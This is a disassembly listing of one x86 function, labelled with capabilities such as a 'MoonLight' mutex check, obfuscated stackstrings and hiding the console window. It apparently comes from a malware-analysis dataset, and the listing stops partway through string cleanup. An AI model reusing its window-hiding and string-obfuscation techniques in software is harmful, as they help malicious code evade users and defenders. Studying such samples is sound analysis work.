Function at 0x4036c0
Capabilities:
Check mutex on windows
Contain obfuscated stackstrings
Create thread
Hide graphical window
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x43e247
mov eax, dword fs:[0]
push eax
sub esp, 0x5c0
mov eax, dword [0x455010]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push str.MoonLight
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x403738
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00423fd7
mov esp, ebp
pop ebp
ret
xorps xmm0, xmm0
mov dword [ebp - 0x54], 0
movups xmmword [ebp - 0x64], xmm0
mov dword [ebp - 0x50], 0xf
mov byte [ebp - 0x64], 0
mov dword [ebp - 4], 0
call fcn.004059f0
sub esp, 0x18
xorps xmm0, xmm0
mov ecx, esp
push 0x20
movups xmmword [ecx], xmm0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
test al, al
je 0x4037d3
push str.D3E6A7D203B510C325F69FA4DC663BEC
call fcn.00419050
lea ecx, [ebp - 0x104]
call fcn.00415f20
add esp, 0x18
lea ecx, [ebp - 0x64]
push eax
call fcn.004176c0
mov ecx, dword [ebp - 0xf0]
cmp ecx, 0x10
jb 0x40382e
mov edx, dword [ebp - 0x104]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x403824
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4053cf
jmp 0x403824
push str.D5EA839D4581204BE29A09B5F3F1DC38
call fcn.00419050
lea ecx, [ebp - 0x104]
call fcn.00415f20
add esp, 0x18
lea ecx, [ebp - 0x64]
push eax
call fcn.004176c0
mov ecx, dword [ebp - 0xf0]
cmp ecx, 0x10
jb 0x40382e
mov edx, dword [ebp - 0x104]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x403824
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4053d4
push ecx
push edx
call fcn.0042426b
add esp, 8
mov edx, 0x457228
lea ecx, [ebp - 0x3bc]
call fcn.00406380
mov dword [ebp - 0x18], eax
sub esp, 0x18
mov byte [ebp - 4], 1
mov ecx, esp
xorps xmm0, xmm0
push 0x20
movups xmmword [ecx], xmm0
push str.13AD769C19DE45B6F9EA1893829DD439
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.00419050
lea ecx, [ebp - 0x3a4]
call fcn.00415f20
mov dword [ebp - 0x20], eax
mov ecx, esp
mov byte [ebp - 4], 2
push 0x457210
call fcn.00417780
lea ecx, [ebp - 0x38c]
call fcn.00416460
mov edx, eax
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x374]
call fcn.00406380
mov dword [ebp - 0x28], eax
mov ecx, esp
mov byte [ebp - 4], 4
xorps xmm0, xmm0
push 0x20
push str.A257C72454D7DE7743FE6F26DA6E7455
movups xmmword [ecx], xmm0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.00419050
lea ecx, [ebp - 0x35c]
call fcn.00415f20
mov dword [ebp - 0x30], eax
mov ecx, esp
mov byte [ebp - 4], 5
call fcn.00406250
lea ecx, [ebp - 0x344]
call fcn.00416460
mov edx, eax
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x32c]
call fcn.00406380
mov dword [ebp - 0xb8], eax
mov ecx, esp
mov byte [ebp - 4], 7
xorps xmm0, xmm0
push 0x20
push str.2C3C609C686C6B345CFC56B77EE62F59
movups xmmword [ecx], xmm0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.00419050
lea ecx, [ebp - 0x314]
call fcn.00415f20
mov dword [ebp - 0xb4], eax
mov ecx, esp
mov byte [ebp - 4], 8
call fcn.00405d50
lea ecx, [ebp - 0x2fc]
call fcn.00416460
mov edx, eax
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x2e4]
call fcn.00406380
mov dword [ebp - 0xb0], eax
mov ecx, esp
mov byte [ebp - 4], 0xa
xorps xmm0, xmm0
push 0x20
push str.6CD77E4645D1C206078E30C08ACC7268
movups xmmword [ecx], xmm0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.00419050
lea ecx, [ebp - 0x2cc]
call fcn.00415f20
mov dword [ebp - 0xac], eax
mov ecx, esp
mov byte [ebp - 4], 0xb
call fcn.00405c90
lea ecx, [ebp - 0x2b4]
call fcn.00416460
mov edx, eax
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x29c]
call fcn.00406380
mov dword [ebp - 0xa8], eax
mov ecx, esp
mov byte [ebp - 4], 0xd
xorps xmm0, xmm0
push 0x20
push str.E133B5C9E22E5A16A57D6A28737F6029
movups xmmword [ecx], xmm0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.00419050
lea ecx, [ebp - 0x284]
call fcn.00415f20
mov dword [ebp - 0xa4], eax
lea eax, [ebp - 0x64]
mov byte [ebp - 4], 0xe
mov ecx, esp
push eax
call fcn.00417780
lea ecx, [ebp - 0x26c]
call fcn.00416460
mov edx, eax
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x254]
call fcn.00406380
mov dword [ebp - 0xbc], eax
mov ecx, esp
mov byte [ebp - 4], 0x10
xorps xmm0, xmm0
push 0x20
push str.D9A3491302E0B5840FF67D32FA10BE2B
movups xmmword [ecx], xmm0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.00419050
lea ecx, [ebp - 0x23c]
call fcn.00415f20
mov dword [ebp - 0xa0], eax
mov ecx, esp
mov byte [ebp - 4], 0x11
call fcn.00405b20
lea ecx, [ebp - 0x224]
call fcn.00416460
mov edx, eax
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0x20c]
call fcn.00406380
mov dword [ebp - 0x9c], eax
mov byte [ebp - 4], 0x13
mov ecx, esp
xorps xmm0, xmm0
push 0x20
movups xmmword [ecx], xmm0
push str.BB415003467E10B63D6CD2FC367D5EAF
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.00419050
lea ecx, [ebp - 0x1f4]
call fcn.00415f20
mov dword [ebp - 0x98], eax
mov ecx, esp
mov byte [ebp - 4], 0x14
push 0x4571f8
call fcn.00417780
lea ecx, [ebp - 0x1dc]
call fcn.00416460
mov edx, eax
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0x1c4]
call fcn.00406380
mov dword [ebp - 0x94], eax
mov ecx, esp
mov byte [ebp - 4], 0x16
xorps xmm0, xmm0
push 0x20
push str.C1F8575B0795AA6620EC8AFCFB82522A
movups xmmword [ecx], xmm0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.00419050
lea ecx, [ebp - 0x1ac]
call fcn.00415f20
mov dword [ebp - 0x90], eax
mov ecx, esp
mov byte [ebp - 4], 0x17
call fcn.00405a70
lea ecx, [ebp - 0x194]
call fcn.00416460
mov edx, eax
mov byte [ebp - 4], 0x18
lea ecx, [ebp - 0x17c]
call fcn.00406380
mov dword [ebp - 0x8c], eax
mov ecx, esp
mov byte [ebp - 4], 0x19
xorps xmm0, xmm0
push 0x20
push str.2CED08BD87F90E67CE7A8C7D1B065B53
movups xmmword [ecx], xmm0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.00419050
lea ecx, [ebp - 0x164]
call fcn.00415f20
mov dword [ebp - 0x88], eax
mov ecx, esp
mov byte [ebp - 4], 0x1a
call fcn.00405860
lea ecx, [ebp - 0x14c]
call fcn.00416460
mov edx, eax
mov byte [ebp - 4], 0x1b
lea ecx, [ebp - 0x134]
call fcn.00406380
mov dword [ebp - 0x84], eax
mov ecx, esp
mov byte [ebp - 4], 0x1c
xorps xmm0, xmm0
push 0x20
push str.6A14970FCD2D45F6A981BAE466346347
movups xmmword [ecx], xmm0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.00419050
lea ecx, [ebp - 0x11c]
call fcn.00415f20
mov edi, eax
mov ecx, esp
mov byte [ebp - 4], 0x1d
xorps xmm0, xmm0
push 0x20
push str.9C351A23068E4D2A89FE559149206E9F
movups xmmword [ecx], xmm0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.00419050
lea ecx, [ebp - 0x3ec]
call fcn.00415f20
mov esi, eax
mov ecx, esp
mov byte [ebp - 4], 0x1e
xorps xmm0, xmm0
push 0x20
push str.AACD44A9B763D35DC711FF8A96417155
movups xmmword [ecx], xmm0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.00419050
lea ecx, [ebp - 0x3d4]
call fcn.00415f20
add esp, 0x18
push 0x4571c8
mov ecx, eax
mov byte [ebp - 4], 0x1f
call fcn.004175c0
mov dword [ebp - 0xdc], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0xec], xmm0
mov dword [ebp - 0xd8], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0xec], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0xdc], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
push 0x44d304
lea ecx, [ebp - 0xec]
mov byte [ebp - 4], 0x20
call fcn.00417550
mov dword [ebp - 0xc4], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0xd4], xmm0
mov dword [ebp - 0xc0], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0xd4], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0xc4], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
push 0x4571e0
lea ecx, [ebp - 0xd4]
mov byte [ebp - 4], 0x21
call fcn.004175c0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x404], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x3f4], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
push esi
lea eax, [ebp - 0x404]
mov byte [ebp - 4], 0x22
push eax
push dword [ebp - 0x14]
lea ecx, [ebp - 0x104]
call fcn.0041a210
push edi
lea eax, [ebp - 0x104]
mov byte [ebp - 4], 0x23
push eax
push dword [ebp - 0x14]
lea ecx, [ebp - 0x59c]
call fcn.0041a210
push dword [ebp - 0x84]
lea eax, [ebp - 0x59c]
mov byte [ebp - 4], 0x24
push eax
push dword [ebp - 0x14]
lea ecx, [ebp - 0x584]
call fcn.0041a210
push dword [ebp - 0x88]
lea eax, [ebp - 0x584]
mov byte [ebp - 4], 0x25
push eax
push dword [ebp - 0x14]
lea ecx, [ebp - 0x56c]
call fcn.0041a210
push dword [ebp - 0x8c]
lea eax, [ebp - 0x56c]
mov byte [ebp - 4], 0x26
push eax
push dword [ebp - 0x14]
lea ecx, [ebp - 0x554]
call fcn.0041a210
push dword [ebp - 0x90]
lea eax, [ebp - 0x554]
mov byte [ebp - 4], 0x27
push eax
push dword [ebp - 0x14]
lea ecx, [ebp - 0x53c]
call fcn.0041a210
push dword [ebp - 0x94]
lea eax, [ebp - 0x53c]
mov byte [ebp - 4], 0x28
push eax
push dword [ebp - 0x14]
lea ecx, [ebp - 0x524]
call fcn.0041a210
push dword [ebp - 0x98]
lea eax, [ebp - 0x524]
mov byte [ebp - 4], 0x29
push eax
push dword [ebp - 0x14]
lea ecx, [ebp - 0x50c]
call fcn.0041a210
push dword [ebp - 0x9c]
lea eax, [ebp - 0x50c]
mov byte [ebp - 4], 0x2a
push eax
push dword [ebp - 0x14]
lea ecx, [ebp - 0x5cc]
call fcn.0041a210
push dword [ebp - 0xa0]
lea eax, [ebp - 0x5cc]
mov byte [ebp - 4], 0x2b
push eax
push dword [ebp - 0x14]
lea ecx, [ebp - 0x4dc]
call fcn.0041a210
push dword [ebp - 0xbc]
lea eax, [ebp - 0x4dc]
mov byte [ebp - 4], 0x2c
push eax
push dword [ebp - 0x14]
lea ecx, [ebp - 0x4c4]
call fcn.0041a210
push dword [ebp - 0xa4]
lea eax, [ebp - 0x4c4]
mov byte [ebp - 4], 0x2d
push eax
push dword [ebp - 0x14]
lea ecx, [ebp - 0x4ac]
call fcn.0041a210
push dword [ebp - 0xa8]
lea eax, [ebp - 0x4ac]
mov byte [ebp - 4], 0x2e
push eax
push dword [ebp - 0x14]
lea ecx, [ebp - 0x494]
call fcn.0041a210
push dword [ebp - 0xac]
lea eax, [ebp - 0x494]
mov byte [ebp - 4], 0x2f
push eax
push dword [ebp - 0x14]
lea ecx, [ebp - 0x47c]
call fcn.0041a210
push dword [ebp - 0xb0]
lea eax, [ebp - 0x47c]
mov byte [ebp - 4], 0x30
push eax
push dword [ebp - 0x14]
lea ecx, [ebp - 0x464]
call fcn.0041a210
push dword [ebp - 0xb4]
lea eax, [ebp - 0x464]
mov byte [ebp - 4], 0x31
push eax
push dword [ebp - 0x14]
lea ecx, [ebp - 0x44c]
call fcn.0041a210
push dword [ebp - 0xb8]
lea eax, [ebp - 0x44c]
mov byte [ebp - 4], 0x32
push eax
push dword [ebp - 0x14]
lea ecx, [ebp - 0x434]
call fcn.0041a210
mov byte [ebp - 4], 0x33
lea eax, [ebp - 0x434]
push dword [ebp - 0x30]
lea ecx, [ebp - 0x4f4]
push eax
push dword [ebp - 0x14]
call fcn.0041a210
mov byte [ebp - 4], 0x34
lea eax, [ebp - 0x4f4]
push dword [ebp - 0x28]
lea ecx, [ebp - 0x41c]
push eax
push dword [ebp - 0x14]
call fcn.0041a210
mov byte [ebp - 4], 0x35
lea eax, [ebp - 0x41c]
push dword [ebp - 0x20]
lea ecx, [ebp - 0x5b4]
push eax
push dword [ebp - 0x14]
call fcn.0041a210
mov byte [ebp - 4], 0x36
lea eax, [ebp - 0x5b4]
push dword [ebp - 0x18]
lea ecx, [ebp - 0x7c]
push eax
push dword [ebp - 0x14]
call fcn.0041a210
mov byte [ebp - 4], 0x38
mov ecx, dword [ebp - 0x5a0]
cmp ecx, 0x10
jb 0x404003
mov edx, dword [ebp - 0x5b4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x403ff9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4053d9
push ecx
push edx
call fcn.0042426b
add esp, 8
mov byte [ebp - 4], 0x39
mov ecx, dword [ebp - 0x408]
cmp ecx, 0x10
jb 0x404041
mov edx, dword [ebp - 0x41c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x404037
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4053d9
push ecx
push edx
call fcn.0042426b
add esp, 8
mov byte [ebp - 4], 0x3a
mov ecx, dword [ebp - 0x4e0]
cmp ecx, 0x10
jb 0x40407f
mov edx, dword [ebp - 0x4f4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x404075
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4053d9
push ecx
push edx
call fcn.0042426b
add esp, 8
mov byte [ebp - 4], 0x3b
mov ecx, dword [ebp - 0x420]
cmp ecx, 0x10
jb 0x4040bd
mov edx, dword [ebp - 0x434]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4040b3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4053d9
push ecx
push edx
call fcn.0042426b
add esp, 8
mov byte [ebp - 4], 0x3c
mov ecx, dword [ebp - 0x438]
cmp ecx, 0x10
jb 0x4040fb
mov edx, dword [ebp - 0x44c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4040f1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4053d9
push ecx
push edx
call fcn.0042426b
add esp, 8
mov byte [ebp - 4], 0x3d
mov ecx, dword [ebp - 0x450]
cmp ecx, 0x10
jb 0x404139
mov edx, dword [ebp - 0x464]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40412f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4053d9
push ecx
push edx
call fcn.0042426b
add esp, 8
mov byte [ebp - 4], 0x3e
mov ecx, dword [ebp - 0x468]
cmp ecx, 0x10
jb 0x404177
mov edx, dword [ebp - 0x47c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40416d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4053d9
push ecx
push edx
call fcn.0042426b
add esp, 8
mov byte [ebp - 4], 0x3f
mov ecx, dword [ebp - 0x480]
cmp ecx, 0x10
jb 0x4041b5
mov edx, dword [ebp - 0x494]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4041ab
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4053d9
push ecx
push edx
call fcn.0042426b
add esp, 8
mov byte [ebp - 4], 0x40
mov ecx, dword [ebp - 0x498]
cmp ecx, 0x10
jb 0x4041f3
mov edx, dword [ebp - 0x4ac]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4041e9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4053d9
push ecx
push edx
call fcn.0042426b
add esp, 8
mov byte [ebp - 4], 0x41
mov ecx, dword [ebp - 0x4b0]
cmp ecx, 0x10
jb 0x404231
mov edx, dword [ebp - 0x4c4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x404227
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4053d9
push ecx
push edx
call fcn.0042426b
add esp, 8
mov byte [ebp - 4], 0x42
mov ecx, dword [ebp - 0x4c8]
cmp ecx, 0x10
jb 0x40426f
mov edx, dword [ebp - 0x4dc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x404265
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4053d9
push ecx
push edx
call fcn.0042426b
add esp, 8
mov byte [ebp - 4], 0x43
mov ecx, dword [ebp - 0x5b8]
cmp ecx, 0x10
jb 0x4042ad
mov edx, dword [ebp - 0x5cc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4042a3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4053d9
push ecx
push edx
call fcn.0042426b
add esp, 8
mov byte [ebp - 4], 0x44
mov ecx, dword [ebp - 0x4f8]
cmp ecx, 0x10
jb 0x4042eb
mov edx, dword [ebp - 0x50c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4042e1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4053d9
push ecx
push edx
call fcn.0042426b
add esp, 8
mov byte [ebp - 4], 0x45
mov ecx, dword [ebp - 0x510]
cmp ecx, 0x10
jb 0x404329
mov edx, dword [ebp - 0x524]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40431f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4053d9
push ecx
push edx
call fcn.0042426b
add esp, 8
mov byte [ebp - 4], 0x46
mov ecx, dword [ebp - 0x528]
cmp ecx, 0x10
jb 0x404367
mov edx, dword [ebp - 0x53c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40435d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4053d9
push ecx
push edx
call fcn.0042426b
add esp, 8
mov byte [ebp - 4], 0x47
mov ecx, dword [ebp - 0x540]
cmp ecx, 0x10
jb 0x4043a5
mov edx, dword [ebp - 0x554]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40439b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4053d9
push ecx
push edx
call fcn.0042426b
add esp, 8
mov byte [ebp - 4], 0x48
mov ecx, dword [ebp - 0x558]
cmp ecx, 0x10
jb 0x4043e3
mov edx, dword [ebp - 0x56c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4043d9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4053d9
push ecx
push edx
call fcn.0042426b
add esp, 8
mov byte [ebp - 4], 0x49
mov ecx, dword [ebp - 0x570]
cmp ecx, 0x10
jb 0x404421
mov edx, dword [ebp - 0x584]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x404417
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4053d9
push ecx
push edx
call fcn.0042426b
add esp, 8
mov byte [ebp - 4], 0x4a
mov ecx, dword [ebp - 0x588]
cmp ecx, 0x10
jb 0x40445f
mov edx, dword [ebp - 0x59c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x404455
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4053d9
push ecx
push edx
call fcn.0042426b
add esp, 8
mov byte [ebp - 4], 0x4b
mov ecx, dword [ebp - 0xf0]
cmp ecx, 0x10
jb 0x40449d
mov edx, dword [ebp - 0x104]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x404493
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4053d9
push ecx
push edx
call fcn.0042426b
add esp, 8
mov byte [ebp - 4], 0x4c
mov ecx, dword [ebp - 0x3f0]
cmp ecx, 0x10
jb 0x4044db
mov edx, dword [ebp - 0x404]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4044d1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4053d9
push ecx
push edx
call fcn.0042426b
add esp, 8
mov byte [ebp - 4], 0x4d
mov ecx, dword [ebp - 0xc0]
cmp ecx, 0x10
jb 0x404519
mov edx, dword [ebp - 0xd4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40450f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4053d9
push ecx
push edx
call fcn.0042426b
add esp, 8
mov dword [ebp - 0xc4], 0
mov dword [ebp - 0xc0], 0xf
mov byte [ebp - 0xd4], 0
mov byte [ebp - 4], 0x4e
mov ecx, dword [ebp - 0xd8]
cmp ecx, 0x10
jb 0x404572
mov edx, dword [ebp - 0xec]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x404568
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4053d9
push ecx
push edx
call fcn.0042426b
add esp, 8
mov dword [ebp - 0xdc], 0
mov dword [ebp - 0xd8], 0xf
mov byte [ebp - 0xec], 0
mov byte [ebp - 4], 0x4f
mov ecx, dword [ebp - 0x3c0]
cmp ecx, 0x10
jb 0x4045cb
mov edx, dword [ebp - 0x3d4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4045c1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4053d9
push ecx
push edx
call fcn.0042426b
add esp, 8
mov dword [ebp - 0x3c4], 0
mov dword [ebp - 0x3c0], 0xf
mov byte [ebp - 0x3d4], 0
mov byte [ebp - 4], 0x50
mov ecx, dword [ebp - 0x3d8]
cmp ecx, 0x10
jb 0x404624
mov edx, dword [ebp - 0x3ec]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40461a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4053d9
push ecx
push edx
call fcn.0042426b
add esp, 8
mov dword [ebp - 0x3dc], 0
mov dword [ebp - 0x3d8], 0xf
mov byte [ebp - 0x3ec], 0
mov byte [ebp - 4], 0x51
mov ecx, dword [ebp - 0x108]
cmp ecx, 0x10
jb 0x40467d
mov edx, dword [ebp - 0x11c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x404673
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4053d9
push ecx
push edx
call fcn.0042426b
add esp, 8
mov dword [ebp - 0x10c], 0
mov dword [ebp - 0x108], 0xf
mov byte [ebp - 0x11c], 0
mov byte [ebp - 4], 0x52
mov ecx, dword [ebp - 0x120]
cmp ecx, 0x10
jb 0x4046d6
mov edx, dword [ebp - 0x134]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4046cc
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4053d9
push ecx
push edx
call fcn.0042426b
add esp, 8
mov dword [ebp - 0x124], 0
mov dword [ebp - 0x120], 0xf
mov byte [ebp - 0x134], 0
mov byte [ebp - 4], 0x53
mov ecx, dword [ebp - 0x138]
cmp ecx, 0x10
jb 0x40472f
mov edx, dword [ebp - 0x14c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x404725
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4053d9
push ecx
push edx
call fcn.0042426b
add esp, 8
mov dword [ebp - 0x13c], 0
mov dword [ebp - 0x138], 0xf
mov byte [ebp - 0x14c], 0
mov byte [ebp - 4], 0x54
mov ecx, dword [ebp - 0x150]
cmp ecx, 0x10
jb 0x404788
mov edx, dword [ebp - 0x164]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40477e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4053d9
push ecx
push edx
call fcn.0042426b
add esp, 8
mov dword [ebp - 0x154], 0
mov dword [ebp - 0x150], 0xf
mov byte [ebp - 0x164], 0
mov byte [ebp - 4], 0x55
mov ecx, dword [ebp - 0x168]
cmp ecx, 0x10
jb 0x4047e1
mov edx, dword [ebp - 0x17c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4047d7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4053d9
push ecx
push edx
call fcn.0042426b
add esp, 8
mov dword [ebp - 0x16c], 0
mov dword [ebp - 0x168], 0xf
mov byte [ebp - 0x17c], 0
mov byte [ebp - 4], 0x56
mov ecx, dword [ebp - 0x180]
cmp ecx, 0x10
jb 0x40483a
mov edx, dword [ebp - 0x194]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x404830
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4053d9
push ecx
push edx
call fcn.0042426b
add esp, 8
mov dword [ebp - 0x184], 0
mov dword [ebp - 0x180], 0xf
mov byte [ebp - 0x194], 0
mov byte [ebp - 4], 0x57
mov ecx, dword [ebp - 0x198]
cmp ecx, 0x10
jb 0x404893
mov edx, dword [ebp - 0x1ac]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x404889
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4053d9
push ecx
push edx
call fcn.0042426b
add esp, 8
mov dword [ebp - 0x19c], 0
mov dword [ebp - 0x198], 0xf
mov byte [ebp - 0x1ac], 0
mov byte [ebp - 4], 0x58
mov ecx, dword [ebp - 0x1b0]
cmp ecx, 0x10
jb 0x4048ec
mov edx, dword [ebp - 0x1c4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4048e2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4053d9
push ecx
push edx
call fcn.0042426b
add esp, 8
mov dword [ebp - 0x1b4], 0
mov dword [ebp - 0x1b0], 0xf
mov byte [ebp - 0x1c4], 0
mov byte [ebp - 4], 0x59
mov ecx, dword [ebp - 0x1c8]
cmp ecx, 0x10
jb 0x404945
mov edx, dword [ebp - 0x1dc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40493b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4053d9
push ecx
push edx
call fcn.0042426b
add esp, 8
mov dword [ebp - 0x1cc], 0
mov dword [ebp - 0x1c8], 0xf
